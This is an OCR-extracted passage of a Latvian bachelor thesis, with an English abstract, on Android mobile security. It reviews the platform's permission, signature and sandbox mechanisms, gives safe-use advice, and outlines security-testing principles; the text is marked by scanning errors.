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ANOTACIJA

Ka vispopularaka mobila operétajsistéma Android ir lietotaju, izstradataju un datorlauzu
kopienas ciesa uzmaniba. Ka katrai operétajsistémai, Android platformai ir problémas un
drosibas ievainojamibas. Popularitates un izplatibas dé] Android cie$ no uzbrukumiem vairak,
neka ta konkurenti iOS un Windows Phone.

Darba ir apskatiti operétajsisttmas Android dro§ibas mehanismi un dazu drosibas
problému risinagjuma metodes, lai noskaidrotu Android visievainotakas vietas un ir doti
ieteikumi, ka ir iesp&jams uzlabot drosibu.

Tika analiz&ti vairaki avoti un operétajsistémas izstradataju darbiba. Pamatojoties uz
rezultatiem, tika formuléti iesp&jami Android drosibas uzlabojumi.

Atslégas vardi: Android, drosiba, ievainojamiba, uzlabojums.



ABSTRACT

Bachelor thesis: Android mobile phones safety and possibilities of its improvement.

As the most popular mobile operating system, Android is in close attention of the user,
developer and hacker community. As any other operating system, Android has problems and
security vulnerabilities. Because of popularity and prevalence Android suffers from attacks
even more than its competitors iOS and Windows Phone.

In the thesis Android operating system security mechanisms and solutions of several
security problems are reviewed to determine Android most vulnerable spots and to give some
advices on security improvement.

Many sources and actions of operating system developers were analyzed. Based on the
results, possibilities of Android security improvement are formulated.

Key words: Android, security/safety, vulnerability, improvement.
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APZIMEJUMU UN JEDZIENU SARAKSTS

Android — mobilo telefonu operétajsistéma, kompanijas Google izstradajums.

LZA (Latvijas Zinatnu akadémija) — zinatnes institticija.

Datu izmaniSana (phishing) — timek]a krapSanas veids, méginajums iegit piekluvi lictotaja
personalajiem datiem.

Manifest datne — speciala datne Android lietojumprogrammai, kura aprakstitas lietotnes
pasibas.

API (Application Program Interface) — funkciju kopums, kuru var izmantot izstradg.

Intent (android.content.intent) — Android izstrades vidé sakaru lidzeklis starp
lietojumprogrammu komponentiem.

Starpprocesu komunikaciju (IPC) — datu apmainas metozu kopums.

Laikspiedols — elektroniska paraksta veids, kas fiksé kart&jo dokumenta saturu laika.

Sensitiva informacija — aizsargata informacija, kuru bojasana vai mainiSana var izraisit
zudumus.

Globala mobilo sakaru sistéma (GSM) — digitala mobila sakara standarts.

WPA2-PSK — bezvadu tikla SifréSanas specifikacija.

Bufera parpilde — datu ierakstiSana arpus izdalita atminas apgabala.

Haffmana algoritms — datu kompresijas algoritms.

Démons (daemon) — programma, kura darbojas fona rezima.

UNIX — operétajsistému saime.

Pakalpojumatteices uzbrukums (denial-of-service attack, DoS-attack) — uzbrukuma veids,
kur$ uz laiku partrauc sistémas pakalpojumu izmantoSanu.

NaN (Not a Number) — pasais skaitla ar peldoSo punktu stavoklis, kad rezultats péc operacijas
ar skaitli jau nav skaitlis.

Mikis (exploit) — uzbrukums vajam datora vietam.

PHP — programmeéSanas valoda timekla lietojumprogrammu izstradei.

Root — specials konts UNIX operétajsisteémas ar tiesibam izpildit jebkuru komandu.

URL — norade uz resursu.

Satvars — programmatiira, kura atvieglo izstradi un produkta strukturéSanu.

ZIP — populars datu kompresijas formats.

Virtuala masina — programmatiira, kura emul€ aparatiiru, izmantojot reala datora resursus.



IEVADS

Pirma operétajsistemas Android versija 1.0 tika izlaista 2008. gada oktobri. Pirmais
mobilais telefons Android platforma bija HTC Dream. Taja laika gan operétajsistéma, gan
telefons nevaréja konkurét ar pagatnes Iideri — IPhone 3G ar operétajsisteému i0S 4. Windows
Phone ar1 bija labaks par Android [1]. Tagad ieri¢u ar Android operétajsistému daudzums
tirghl ir apmé&ram 82% [2].

Liela popularitate rada lielas problémas lietotajiem. 2013. gada 97% no visam
mobilajam launprogrammam tika izstradatas priek§ operétajsistémas Android. Kopa 2013.
gada paradijas 804 jauni draudi. Taja pasa laika perioda jauni draudi prieks iOS, Windows
Phone, BlackBerry OS netika atklati [3].

Operéetajsisteémai grutak sekot, jo mobilo telefonu izstradataji izmanto vairakas
operétajsistémas versijas, dazkart ar modifikacijam, ari lietojumprogrammu (potenciali

bistamu) daudzums ir lielaks, neka konkurentiem.

Pétamas problemas

Bakalaura darba tiks pétitas sekojoSas problémas:

e termina ,,dro§iba” nozime dazadas jomas (lingvistika, sadzives joma, datu apstrade,
mobila operétajsistema Android);

e  oOperétajsistémas Android droSibas mehanismi un testéSanas metodes;

e telefonu ar operétajsistému Android drosas lietoSanas panémieni;

e  atrisinatas operétajsistémas Android drosibas problémas;

e iesp€jamas izmainas operetajsisteéma drosibas uzlaboSanai.

Darba mérkis un uzdevumi

Bakalaura darbam ir definéts sekojoss meérkis: noskaidrot, ka palielinat mobila telefona
ar operétajsistému Android drosibu.

Bakalaura darba tiks risinati sekojosi uzdevumi:

e termina ,,droSiba” studéSana;

e operétajsisteémas Android drosibas mehanismu un testé$anas metozu apskats;

e citu lidzigas t€mas pétijumu apskats;
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e operétajsistémas Android atrisinato drosibas problému apskats;
e pétijuma rezultatu apkopojums;

e iesp€jamo izmainu piedavajums operétajsistema drosibas uzlabosanai.

Izmantotas petniecibas metodes

Bakalaura darba tika izmantotas sekojoSas pétniecibas metodes:
e teorctiskais darbs ar avotiem;

e citu pétijumu analize.

Darba struktiira

Bakalaura darbam ir sekojosa struktiira:

e termina ,,drosiba” apskats;

e telefona drosas lietoSanas ieteikumi;

e  operétajsistetmas Android drosibas mehanismu un testé$anas metozu apskats;
e citu ltdzigas teémas petijumu apskats;

e operctajsistémas Android atrisinato droSibas problému apskats;

e  pétijuma rezultatu apkopojums;

e darba secinajumi un dros§ibas uzlabojumu piedavajums.



1. JEDZIENA ,,DROSIBA” APSKATS

Lai saktu pétijumu par operétajsisttmas un mobilo telefonu drosibas aspektiem,
vispirms jasaprot, kas precizi ir ,,droSiba”, kadi drosibas veidi eksisté un ka doto terminu
saprot dazadas cilveku grupas, sakot no majsaimniecém un beidzot ar filologiem un
informacijas un komunikacijas tehnologijas specialistiem. Ka ari saprast, ka jaizmanto ierice,

lai ta butu drosa.

1.1. Jeédziena ,,drosiba” etimologija

Vispirms apskatisim termina nozimi un rasanos vispargji, neiedzilinajaties kada ICT
sfera. Par termina ,,dros§iba” definéSanu un tulkoSanu anglu valoda Latvijas Zinatpu akadémija
komisija noorganiz&ja vairakas sédes 2009. gada, tomér galigais 1émums tika pienemts un
velreiz apspriests tikai 2009. gada beigas (precizi 2009. gada 24. novembrT) [4] un 2010. gada
sakuma [5] (precizi 2010. gada 2. marta) atbilstosi. Tagad, saskana ar LZA Terminologijas
komisijas 1émumu Nr.87, oficiali varda ,,droSiba” definicija ir ,,Stavoklis, apstakli, kuros nav
apdraud€juma un/vai ir vajadziga aizsardziba pret iesp&jamu apdraudéjumu”. Kaut gan varda
,,drosiba” nozime ir atdalita no varda ,,droSums”, visas tris ,,droSuma” definicijas [6] atbilst
bakalaura darba iegulditai jégai. Tomeér, varda ,,drosiba” definicija ir tuvaka, ka ari atbilst
témas nosaukumam (tatad, labak izmantot ,,droSiba”). Operétajsistémai Android jabut
aizsargatai no iesp&jamiem apdraud&jumiem, ka ari jasp€) veikt paredz€tos uzdevumus un
turét lietotaju parlieciba par to, ka vina dati ir saglabati un netiks mainiti bez vina zipas.

Agrak, padomju laikos, visa latviesu valodas terminologija balstijas uz krievu valodu,
tatad, vardiem ,droSiba” un ,droSums” bija viens tulkojums - ,6e3onacnocms”. P&c
neatkaribas atgiSanas par pamatu tika nemta anglu valoda [7]. Tagad vardu ,,drosiba” tulko ka
,,Security” vai ,,safety”, un vardu ,,drosums” — ka ,,dependability” jeb ,,reliability” vai ,,safety”
[5] atkarigi no konteksta. No bakalaura darba nosaukuma var saprast, ka vislabak balstities uz
terminiem ,,security” un ,,safety”.

Angliskais ,,secure” paradijas 1530-jos gados no latipu ,,se cura” — brivs no ripém vai
bailém [8]. ,,Safe” paradijas 1300-jos gados no fran¢u ,,sauf” — aizsargats un latinu ,,salvus” —
laba veselibas stavokli. Viena no nozimém ir lidziga vardam ,,Se cure” — brivs no bailém vai

uzbasanas [9]. Viss ieprieks pateiktais bija formals defingjums darba apskatitajam terminam.
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Mgs, ka datoriki, neesam ciesi iesaistiti filologijas jautajumos. Mds, ka ari parastus cilvékus,
ipasi neinterese tadas lietas ka vardu etimologija un akadémiska definésana. Tapéc, aprakstot
drosibu, varam atsaukties gan uz ,,security”, gan uz ,,safety”.

No savas dzives pieredzes varu apgalvot, ka musu ikdieniska rutina ir vairaki drosibas

,veidi”:

e dzivibas droSiba — kad misu dzivei nekas nedraud un vajadzibas gadijuma mes
varésim sanemt kvalificétu palidzibu;

e privatipaSuma droSiba — kad cilvéka ipasumam nedraud fiziskais vai ekonomiskais
zaud@jums, kad zaud€jumu sekas var tikt likvidetas;

e privatas dzives droSiba — kad cilvéks ar likumu un specialu valsts struktdru
palidzibu ir aizsargats no ielausanas sava personiga telpa;

e personas drosiba — kad cilvéks ir parliecinats, ka vina personas dati (vards, uzvards,
personas kods u.c.) netiks uzzinati bez vina zinas un izmantoti noziegumos un, ja
tas notiks, viltus bis atklats un datu realajam ipaSniekam nekas nedraudgs;

e ckonomiska drosiba — kad cilvéka kapitals ir fiziski aizsargats no laupiSanas un
likumigi no zaudéSanas (visadu nelikumigo finanSu struktiiru aizliegums, bankas
uzkrajumu apdro$inasana un atmaksasana arkartgja gadijuma u.c.);

e parvietosanas drosiba — kad cilvékiem ir piekluve kvalitativiem parvietoSanas
lidzekliem un visas pasaules valstls ir noorganizéts citu drosSibas kategoriju
nodroS§inajums;

e datu un informacijas drosiba — kad cilvékam piederosa fiziska informacija nevar
tikt uzzinata bez vina zipas vai nolaupita un digitala informacija, ja ta atrodas
timekl1, ir aizsargata ar droSibas standartiem un protokoliem vai, ja ta atrodas uz
fiziska nesgja, nevar tikt bojata braka del.

P&dgjais aprakstitais dros§ibas ,,veids” ir vistuvak informacijas tehnologiju nozarei. Tas

noved mis pie dzilakas termina apskates. Misu digitala laikmeta vairaki datu veidi tiek
parsutiti, izmantojot datorus. Lidz ar to ir paradijusas jaunas iesp&jas sabojat vai nozagt

informaciju. Tatad, informacijas apstrades procesa ir Joti svarigi saglabat datu integritati.



1.2. Informacijas un datu apstrades drosibas apskats

Lielaka dala no miisdienu uznémumiem izmanto globalas informacijas sist€mas. Tas ir
atbildigas par datu integritati un resursu saglabasanu. Tap€c tadam sisttmam ir nepiecieSami
nopietni droSibas nodroSinaSanas pap€mieni. Vairakas organizacijas ir atkarigas no
elektroniskajiem lidzekliem, kuri nodro$ina saraksta iepriekSminéto dazadu drosibas ,,veidu”
funkcionésanu. Piemé&ram, elektroniskas Iidzeklu parneses sist€tmas nodroSina droSus
bezskaidras naudas norckinus, tada veida nodrosinot ekonomisko dro$ibu, vai gaisa satiksmes
kontroles sistémas, kuras kontrole gaisa transporta droSu parvietoSanos, nodroSinot
parvietosanas, ka arT dzivibas drosibu. V&l ir daudz tadu sistému pieméru, bet lidzigs tam ir ne
tikai noliiks, bet arT fakts, ka tadas sist€mas ir vilinosi mérki prieks uzbrukumiem. Pasakumi,
kuri ved pie zudumiem nav vienigi elektroniski, bet arT fiziski. Piem&ram, cilvéku faktors var
novest pie miljonu dolaru zudumiem neatkarigi no ta, vai tas ir izdarits ar tiSu pratu, vai
neuzmanibas d€]. Dabas kataklizmas, tadas ka zemestrices vai pludi, ved pie datu nesgju
bojasanas. Tapéc ir vajadzigi speciali pretpasakumi un auditi [10].

Datornoziegumi — jauns un tik loti izplatits noziegumu veids misdienas.
VispazistamakaiS un vispopularakais ,,ierocis” tadu noziegumu izdariSanai ir datorviruss. Tas,
ka par tadu Sausmigo un bistamu lietu ka viruss zina katra majsaimniece, nav nejausiba. Visi
virusu veidi, tadi ka ,klasiskie” virusi. Trojas zirgi un tarpi, ir gatavas programmas, kuriem
nav vajadziga lietotaja iejauksana, lai pilditu savu ,,darbu”. Noziedznieka galvena probléma ir
atrast panémienu, ka likt lietotaju inficét savu datoru vai sistemu. Trojas zirgiem tas pat nav
vajadzigs. Laundaris pats var ieladét zirgu sisteéma [11].

Automatiskie un elektroniskie Iidzekli nav vienigie darbariki datornoziegumu dariSanai.
Personas datu izmaniSana jeb angliski ,,phishing” ir paredzéta vairaku drosibas ,,veidu”
parkapSanai. lzmaniSana ir vajadziga, lai parkaptu personas, privatas dzives un ekonomisko
drosibu. Noziedznieks izmanto dazadas metodes, lai pieklatu pie personas datiem. Piem&ram,
bankas konta numurs, paroles vai fiziska piekluve pie upura datora. Process var notikt dazadi.
Viens veids ir personiskas satik§anas vai elektroniskas véstules, kuras noziedznieks prasis
lietotaju brivpratigi atdot nepiecieSamo informaciju. Laundaris parasti spéleé sist€mas
administracijas lomu. Otrais veids ir grutak realiz€jams, bet efektivaks. Ja ir vajadzigs
nolaupit kadu elektronisko informaciju, pieméram, paroli, tad tiks izgatavota timekla vietnes
kopija. Cilveks var nepamanit izmainas (piem&ram, vietnes adrese vai dizains) un ievadit

personigo informaciju, nositot to noziedzniekam [11].
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Izmantojot interneta izplatibu, ir iesp&jams pieslégties datoram vai sistémai attalinati.
Tapéc ir vajadzigas ne tikai fiziskas, bet ar1 elektroniskas aizsardzibas metodes. Metodes
dalas vispargjas un lietiskas [11].

Visparejas metodes derés jebkadai sist€émai. Var tikt fiziski kontroléta piekluve pie
iericém vai procesa etapiem. Var tikt pielikta apsardze vai ierikota videonovéroSana, ka ari
fiziska identifikacija. Vispazistamakie piemé&ri ir acu zilites vai pirksta nospieduma
identifikacijas ierices. Starp citu, tadas metodes jau sakuSi ievest mobilajos talrunos.
Elektroniska kontrole var notikt ar sistémas iebuvétas aizsardzibas palidzibu. Vajadziba
ievadit paroli vai lietotaju klasifikacija péc piekluves lItmeniem ir visizplatitakie papemieni.
Drosiba ar1 var tikt nodroSinata ar datu §ifréSanu un ir vajadziga speciala atsléga, unikala
katram lietotajam, lai deSifrétu datus lidz lasamam veidam. Specialas monitoringa sist€émas
seko sisteémas darbibai un pazino par atrastam ,,anomalijam” [11].

LietiSkas metodes ir specifiskas katrai sist€mai vai lietojumprogrammai. Var tikt veikta
ievaddatu parbaude vai datu kopéSana, arhivéSana un saglabasana. Tas lauj saglabat datu
integritati [11].

IepriekSminéto pretpasakumu lielaka dala atrodas sisteémas lietotaju vai 1paSnieku zina.
Auditi parasti tiek veikti ar treSo pusu palidzibu, lai sniegtu objektivu informaciju par sistému.
Audita procesam parasti ir nepieciesamas specifiskas zinasanas, kurus lietotajiem parasti nav
[12]. Auditori parbauda, vai sistéma nodrosina drosu datu parsiitiSanu, datu integritati, vai

sist€éma atbilst vajadzibam un pilda savu darbu [13].

1.3.  Operétajsistemas Android drosibas uzlaboSanas metoZu apskats

Ta sanaca, ka viena no operétajsistémas funkcijam ir datu apstrade un parsitiSana, bet
ne vieniga. Ir vairakas operétajsistémas funkcijas, kuru izpildi vajag kontrolét un parraudzit,
ta skaitd ari aizsargat no iek$gjiem un argjiem faktoriem, kuri var iztraucét kvalitativu
sistémas darbibu. Ta ka Android ir vispopularaka mobilo telefonu operétajsisteéma, ta drosiba
ir svariga izstradatajiem un katram lietotajam, pat ja vin$ to neapzina. Viens no Android
popularitates c€loniem ir tas, ka operétajsist€tma atlauj izstradatajiem paplaSinat timekla
pakalpojumus ar izmantojamibu telefonos [14].

Viena no Android priekSrocibam un problémam ir operétajsistémas atklatums. No

vienas puses, sabiedriba var kopigi pétit sisttmu un uzlabot to, sisttma manto ,slana”
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arhitektaru (katrs slanis ar savu ,,droSibas sistemu”) [15]. Attéla 1.1 [80] shematiski ir att€lota

slanu struktiira.

tion Framework

) RIS

} ariaa
" - AN

Dalvik Virtual
Machine

Linux Kernel

1.1. att. Operetajsistemas Android arhitektiiras shematiskais attélojums

No otras puses, tas pats atklatums atvieglo launprogrammu rakstiSanu. Uzp@mums
Juniper Networks 2011. gada veica pétijumu “Malicious Mobile Threats Report2010/2011.”
par launprogrammu izplatiSanu mobilajos telefonos. Rezultata tika noskaidrots, ka
launprogrammu Tpatsvars uz Android operétajsistémam palielinajas par 400% [16]. Tapéc ir
svarigi izprast par Android mobilo telefonu drosibu kaut bazes limeni.

Sikaka informacija par Android drosibas problémam tiks dota nakamajas nodalas. Talak
pasreiz€ja apaksSnodala tiks stastits par operétajsistémas droSibas nodroSinasanas
mehanismiem.

Izstradajot lietojumprogrammu priek§ Android, izstradatajam jaapzinas, kadi papildus
dati no operétajsistémas ir vajadzigi. Pieméram, interneta pieslégums, geografiska vieta vai
pieeja kontaktu sarakstam. Tas tiks noradits speciala manifest datné. Instalgjot kadu
lietojumprogrammu, tiks pieprasita piekluve pie vajadzigiem datiem. Lietotajam uzmanigi
jaizlasa pieprasijumu saraksts, jo piekluve ir neierobezota un var tikt partraukta tikai
atinstaléjot programmu [15]. Manifest datne nodroSina aizsardzibu no lietotdja pusgs,
pienemot, ka cilvéks lasis pazinojumus. NodroSinajums tiks Tstenots ari operétajsisteémas
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limeni. Piekluve pie dazadiem komponentiem ir nodro$inata ar lietojumprogrammu saskarni
jeb API. Saskarne nodrosina komponentus ar papildus atlaujas iezimém. Defingjot manifest
datni, izstradatajam janorada attiecigo iezimi, lai lietojumprogrammai tika dota piekluve.
Pret€ja gadijuma, lietotne nevarés izmantot kadus operétajsist€émas funkcijas vai datus nekada

gadijuma [14]. Attcla 1.2 [79] ir paradits manifest datnes piemeérs.

1 <?xml version="1.0" encoding="UTF-8"?2>
2

32 «manifest xmlns:android="http://schemas.android.com/apk/res/android"

- package="gom.example.android.basiccontactables"
5 android:versionCode="1"

& android:versionName="1.0" >

<uses-permission a:d:a:d::ane=”android.permission.READ_CONTACTS“f>

9 <permission android:name="android"»</permission>
11 <application
12 android:allowBackup="true"

13 a:d:a;d:ica:=“@drawablefic_launcher”

14 a:draid:;abe;=“@strjngjapp_name”

15 android:theme="gstyle/Themne . Sanple" >

16 <actiwvity

17 android:name="gom.example.android.hasicecontactables MainActivity"
a:draid:;abe;=“@stringfapp_name”

(== ]

android:launchMode="singleTop">
<meta-data

<

21 android:name="android.gpp.=searchable"

22 android: resource="gxml /searchable" />

23 <intent-filcer>

24 <action android:name="android.intent.action.SEARCH" />
25 </intent-filter:>

26 <intent-filcer>

27 <action android:name="android.intent.action.MATN" />
28 <category android:name="android.intent.category. LAUNCHER" />
23 </intent-filter:>

30 <factivity>

31 </application>

2 </manifest>

1.2. att. Manifest datnes piemeérs

Atlaujas iezimes tiek definétas ar tagu <uses-permission>. Pieméra tiek pieprasita
atlauja pieklit kontaktu sarakstam.

Lai saprast Android lictojumprogrammu drosibu, ir svarigi saprast lietotnu strukttru. Ta
sastav no 4 komponentiem:

e Activity — komponents, kur$ sazinas ar lietotaju. Parasti tas ir lietotaju saskarne;

e Service — komponéts, kurs$ atbild par fona procesiem (pieméram, sinhronizacija);

e Broadcast reciever — komponéts, kurs sanem signalus no operétajsistémas un citam

lietojumprogrammam;
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e Content provider — komponents, kur§ saglaba datus (piem&ram, saraksts ar
saglabatiem datiem).
Komponenti sazinas sava starpa ar zinam, kas ir nosaukti ,,Intent”. Svarigi atceréties, ka
Intent nav dro$s un izstradatajiem jariip&jas, lai tada veida netiks parsititi kadi svarigi dati.
Ka jau bija pateikts ieprieks, operétajsistémai Android ir ,,slanu” arhitekttra. Katra slani
ir nodroSinatas aizsardzibas mehanismi. Linux kodols padara Android par daudzlietotaju
operétajsistému. Katrai iedarbinatai lietojumprogrammai tiek pieskirts savs lietotaja

identifikators. Attela 1.3 [15] var redz&t procesus terminala.
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1.3. att. Operétajsistemas Android procesu saraksts terminala

Lietotaja identifikators ir noradits pirmaja stabina. Tas lauj izolet ,lietotaju” un
samazinat potencialo zaudéumu no launprogrammas [15]. Tada veida starpprogrammu
komunikacija ir apgritinata un veikta ar speciala mehanisma palidzibu, kur$ ir pasargats.
Neaizsargata lietotne nevarés kaitinat citas lietotn&s, tikai sevi.

Starpprogrammatiiras ,,slanis” nodroSina iepriek§ min€to specialo starpprogrammu
komunikacijas mehanismu. Tas ir nosaukts starpprocesu komunikacija (jeb IPC). Tas
mehanisms parvalda sakaru starp lietojumprogrammam, parbaudot atlaujas iezimes un
aizliedz piekluvi citai programmai, ja izmantota lietotne neatbalsta drosibas prasibam [14].
Lietojumprogrammu ,,slanis” nodros$ina izstradatajus ar visu nepiecieSamo, lai varétu izstradat
lietotnes (ietvars, klases), ka ar1 neatlauj atinstalét iebtivétas sist€mas lietotnes.

Ka iezimju alternativa, izstradatajs, programmgjot, var atzimét komponentu Ka privatu.
Tas padara komponentu nesasniedzamu ar citu lietojumprogrammu palidzibu nekada
gadijuma [14]. Tas arT atvieglo izstradi, jo programmétajam nevajadz€s domat par visam

atlaujas iezime&m, kurus vajag pieskirt privatiem komponentiem.
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Manifest datné ari ir noradits autora identifikators, ta sauktais paraksts. Ta ka katram
izstradatajam ir savs paraksts, laundari nevarés viltot atjaunojumus vai citas lietotnes no
izstradataja, jo, lai atjaunojums var€tu tikt izmantots vai lietotnes sazinatos sava starpa,
parakstiem jasakrit [15]. Tas pasarga lietotajus no Jaunprogrammam, kas ir realo
lietojumprogrammu kopijas (viens no datu izmaniSanas panémieniem). Lietojumprogrammu
dati arT ir aizsargati, izmantojot parakstu. Tikai lietojumprogrammas ar vajadzigo parakstu,
kuram ir dota atlauja, var pieklat datiem.

Ka papildus datu droSibas panémiens tiek izmantota datu SifréSana un glabSana
lokalajos serveros (ja telefonam ir piekluve internctam). Google piegada aptverosu
kriptografisko lietojumprogrammu saskarni. Datus var $ifrét glabajot un parsitot [15].

Aplukotie operétajsistémas Android drosibas pamati var noderét, lai padaritu savu

telefonu par aizsargatu un drosu ierici.

1.4. Telefona drosa lietoSana

Pasreiz&ja apakSnodala tiks aprakstitas droSibas problémas, no kuram viegli var

izvairities, ja tiks ievérota ,,drosibas tehnika”.

1.4.1. Lietojumprogrammas no sveSiem avotiem

Ta ka Android ir atvérta platforma, katrs programmétajs var izstradat savu lietotni
operétajsistémai [16]. Android paliek vispopularaka mobila operétajsistéma laundaru pulka,
tapéc ir strikti rekomendgéts instalét lietojumprogrammas tikai no Google Play, jo tad sistéma
ir reguléta un aizsargata no launprogrammam [18].

Nepieredzgjis lietotajs var nejausi ieslégt iesp&ju instalét potenciali bistamas lietotnes
no nedroSiem avotiem, tap€c japarbauda, vai tada iespgja ir aizliegta telefona iestatijumos.
Attela 1.4 [19] var redzét, kada iestatijuma sadala jaatver (apvilkts ar sarkano) un kada opcija

jaatsleédz (apvilkts ar sarkano).
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1.4. att. Lietotnu no nezinamajiem avotiem instalacijas iesp&jas aizliegsana

Keksitim pie opcijas ,,Unknown sources” obligati jablut nopemtam, lai telefona

izmantoSana butu drosa.

1.4.2. ,,Virusi”

Kaut gan eksperti apgalvo, ka tads drauds ka viruss neeksisté uz Android un galvenais,

lai lietotajs pats sekotu tam, no kurienes tiek nemtas lietojumprogrammas telefonam [20],

[21], ir derigi uzinstalét, ta saukto, ,,pretvirusa” programmatiiru. Parasti tada programmatiira ir

dala no lielas paketes, kas aizsarga telefonu dazados veidos. Piem&ram, ta pazinos, ja tika

uzinstal€ta nedrosa lietotne, nodroSina iesp€ju veikt datu rezerves kopeSanu vai izdz€st visu
informaciju no ieric€s attalinati, gadijuma, ja telefons ir zaude€ts vai nozagts [18], [21].

Interesanti, ka oficiala Google pozicija ir tada, ka ,,pretvirusu” paketes nav vajadzigas

un Google piedava apmierinosu drosibas Iimeni [21].
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1.4.3. Parmeéra atlaujas pieprasijumi lietojumprogrammu instalacijas laika

Visas lietojumprogrammas, kuras tiek instalétas telefona ar operétajsistemu Android,
pieprasa lietotajam atlauju izmantot kadus telefona komponentus: sistémas (piemé&ram,
interneta pieslégums, kontakti) vai aparatiiras (piemeéram, kamera). Lietotajam ripigi jalasa
pieprasijumus, jo, ja lietojumprogramma pieprasa piekluvi funkcionalitatei, kura nav
vajadziga, tad tas var biit launprogramma [16]. Piem&ram, ja sp&le pieprasa piekluvi lietotaja

kontaktiem, tas var but mestules stitiSanas lietotne.

1.4.4. Wi-Fi

Wi-Fi nav drosakais veids ka pieslégties internetam. Publiskie piekluves punkti parasti
neizmanto nekadu SifréSanu. Tas nozime, ka noziedznieks var viegli sanemt datpliismu no
lietotaja telefona un izmantot to savam noliikam [22]. Pieméram, sanemt paroles vai privatus
zinojumus, ka arT aizsutit telefona kadus savus datus, lai piekliit informacijai uz iericés.

Tads Sifrésanas veids ka WPA2-PSK, kuru parasti izmanto majas piekluves punkti, ar
nav Tsti dross, ja izmantots publiskos punktos. Lai atSifrét informaciju datplisma, ir vajadziga
punkta parole un, ta ka visi lietotdji izmanto vienu un to pasu paroli, lai pieslégties tiklam,
laundari var saméra viegli veikt manipulacijas ar visam iericém tikla [22].

Ir rekomendeéts izslégt Wi-Fi pieslégsanas funkciju, ja ta nav izmantota. Attela 1.5 [23]

ir paradits, ka jaatsledz Wi-Fi tikla izmantoSanas funkcija.

17



608 PM Mon, August 18 'n' =

0w D

Screen

) Bluetooth
rotation

Wi-Fi Location Sound

S Finder Quick connect

)

NO NOTIFICATIONS

1.5. att. Operétajsistemas Android 4.4 notifikacijas panelis

Ar sarkano bultinu ir noradita ikona, kura jauzspiez, lai ieslégt/izslégt Wi-Fi. Zala ikona

nozime, ka funkcija ir ieslégta, gaiszila — izslégta.
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2. OPERETAJSISTEMAS ANDROID DROSIBAS PAKAPES
NOSKAIDROSANA

Drosiba ir abstrakts jédziens. Nevar parliecinati pateikt, vai cilvéks ir drosiba, ja tiek
paveikti kadi droSibas pasakumi. Vienmér ir iesp&ja iztrauc€t mieru. Tapec, ari
Operétajsistémas drosibas pakapi nevar noteikt precizi un objektivi. Nav viennozimigas
formulas vai metodes, ka aizsardzibas Iimeni varétu ,,aprékinat”. Lidz ar to tiek izmantota
ekspertu atzime veicot, ta saukto, drosibas testéSanu [17]. Ka teica slavens kriptografs Briiss
Snajers: ,,Drosiba nav produkts, bet process” (originala: ,,Security is not a product but a
process”) [17, 156. Ipp], tap&c drosibas test€Sana ir katra sist€mas test€Sanas sola neatnemama
dala.

TestéSana var tikt veikta izstrades laika ar dazadu pap@mienu palidzibu vai testgjot
gatavo produktu, izmantojot specialas lietojumprogrammas. Android programmatiras
izstradataja rikkopa nak klat ar lietojumprogrammu saskarni priek§ vienibtest€Sanas. Ar
lietojumprogrammu saskarnes palidzibu var viegli automatizét dalu no testiem [17], ari
drosibas testus. It ipasi svarigi ir atceréties, ka ar operétajsistému Android ir aprikoti dazadi
mobilo telefonu vedi — no vairakiem izstradatajiem, ar dazadiem ekranu izmériem. Jatesté ka
operétajsisttma un lietojumprogrammas izskatas, jo problému var izraisit kada izstradataja

modifikacija vai lietotne [17].

2.1.  Operétajsistemas Android drosibas principi

Gramatas Android Application Security Essentials autore Pragati Ogal Rai apgalvo, ka
,»katram lietojumprogrammu testéSanas veidam vajag sekot seSiem drosibas principiem, proti
autentific€Sana, pilnvaroSana, pieejamiba, konfidencialitate, integritate un pretizvairiSana”
(originala: ,,any kind of application security testing should follow the six tenets of security,
namely authentication, authorization, availability, confidentiality, integrity, and non-
repudiation”) [17, 158. Ipp]. Kaut gan izteikums liclaka méra atteicas uz lietotném,
operétajsistémai ar1 vajadzetu atbilst ,,likumiem”, jo ta ir telefona ,,smadzenu un operaciju
centrs”, kur§ parvalda visus procesus. Tapéc svarigi parbaudit, vai izstradajamais produkts ir

izgatavots saskana ar dotiem principiem.
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AutentificéSsana — lictotdja identifikacijas process. Laba praksé liek izmatot gatavas
autentificéSanas lietojumprogrammu saskarnes (pieméram, no Facebook vai Google) un
protokolus (pieméram, OAuth) [17]. Tas atvieglo izstradi, jo nevajadz€s izstradat jaunas
autentific€Sanas metodes, ka ari, gatavs produkts ir labaks no drosibas puses, jo tos izmanto
tiikstosi izstradataju un saskarnu 1pasnieki regulari veic drosibas testé€Sanu pats.

PilnvaroSana kontrol€ piekluves tiesibas. Protokoli kontrole vai lietotajam ir atlauja
izmantot kadu sistémas komponenti [17]. Pieméram, administrators varés mainit sistémas
uzstadijumus, parastais lietotajs to nevarés.

Pieejamiba nozime, ka datiem jabiit pieejamiem tikai pilnvarotiem lietotajiem.

Konfidencialitate atbild par datu §ifréSanu un aizsardzibu ar vajadzigajam atlaujam.

Datu integritate nozime to, ka dati netiks mainiti bez komandas no pilnvarota lietotaja.
Sifrésana un elektroniska parakstisana var palidzet to nodrosinat.

PretizvairiSana kontrolé datu parraides veiksmigu uzsakSanu izmantojot elektroniskos

parakstus, sertifikatus un laikspiedolus.

2.2. Mobilo lietojumprogrammu drosibas testeéSanas metodes

TesteéSanas process sakas ar lietojumprogrammu parskatu. Parskats fokus€jas uz
lietotnes darbibas principa sapraSanas un identificé aparatiiru, tehnologijas un spgjas, kuras ta
izmanto. Noskaidrojot vajadzigas raksturiezimes, recenzents mégina tikt pie droSibas
caurumiem. Parskata process identificé problémas manifest datng, slikto SifréSanas algoritmu
izmantoSanu, protokolu nedro$o izmantoSanu un drosibas problémas aparatiira, kuras netika
atrastas izstradasanas laika. Ka ar standartu piem&rotu izmantoSanu [17]. Piem&ram, manifest
datne var saturét lickus atlaujas iezimes atklidoSanai, kuram ir pickluve kadam
operétajsistémas komponentam, kur$, pieméram, nav nepietickami aizsargats pret tada veida
piekluves. Vai iezimes noliiks var biit saglabat svarigus datus teksta datng, lai tos varétu viegli
apskatit.

Izstrades laika  programmétajs var  veikt  paSrocigo  testéSanu, ievadot
lietojumprogramma visada veida datus. Tads test€Sanas veids lauj parbaudit, kada informacija
saglabajas zurnala, vai tur nav ierakstita kada sensitiva informacija. Ari var sekot, ka lietotne
uzvedas, kad lietotajs megina parkapt regularo pilnvarosanas procediru. Lielaku dalu no
pasrocigiem testu scenarijiem var automatiz&t, to sauc par dinamisko testéSanu. Parasti

automatize ievaddatu pareizibas parbaudi, robezgadijumu parbaudi [17].
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Jateste ka lietotne vai operétajsisttma komunicé ar serveru. Uz aizsiitito datu gabalu var
